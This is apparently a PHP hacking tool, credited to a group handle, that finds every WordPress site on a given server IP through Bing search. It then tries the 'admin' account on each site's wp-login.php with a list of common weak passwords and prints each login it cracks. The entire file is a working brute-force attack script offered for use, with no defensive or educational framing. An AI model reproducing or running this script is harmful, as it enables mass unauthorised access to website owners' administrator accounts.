Brute Force All Wordpress On Server

<title>Brute Force All Wordpress On Server</title>
<form method='POST'>
<pre>
Brute Force All WordPress On Server
IP : <input type='text' name='ip' placeholder='IP Address'><input type='submit' name='start' value='Start Brute'>
</pre>
</form>
<?
        /*
        *       Coded By : xSecurity
        *       Sec4ever.com
        *       Greets to : b0x - DamaneDz - UzunDz - Asmar - Lov3rDNS - ZGaRT
        */
        @set_time_limit(0);

        $ip = $_POST['ip'];
        $bing = "IP:+{$ip}+page_id=";
        $password = array('123123','123456','123321','admin','admin123','112233','332211');
    function check($url)
        {
                $url=(!eregi("http://www",$url))?str_replace("http://","http://www.",$url):$url;
        preg_match("#(.*?)\/[?]page_id=#",$url,$b0x);
        return $b0x[1]."/";
    }
        if($_POST['start'])
        {
        for($i=1;$i<=10+10;$i++)
        {
                $get = @file_get_contents("http://www.bing.com/search?q={$bing}&go=&qs=ds&filt=all&first=$i");
                preg_match_all('#(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)#siU',$get, $site);
                $sites = array_unique($site[2]);
        }
                foreach($sites as $webs)
                {
                        foreach($password as $pass)
                        {
                                $domains = check($webs);
                                //print $domains;
                                print b0x($domains,$pass);
                        }
                }
        }
        function b0x($domains,$pass)
        {
        $curl = curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./b0x.txt");
        curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./b0x.txt");
        curl_setopt($curl,CURLOPT_URL, "{$domains}/wp-login.php");
                curl_setopt($curl,CURLOPT_POSTFIELDS, "log=admin&pwd={$pass}&wp-submit=Log+In&redirect_to=./wp-admin/&testcookie=1");
        $brute = curl_exec($curl);
        if(eregi('upload.php', $brute))
                {
                        print "<font face='Tahoma' size='2'>[+] Cracked Domian: {$domains} --> Username: <b>admin</b> | Password: <b>{$pass}</b></font><br>";
        }
    }
        print "<font face='Tahoma' size='2'><b>Coded By: xSecurity - Sec4ever.CoM</b></font>";
?>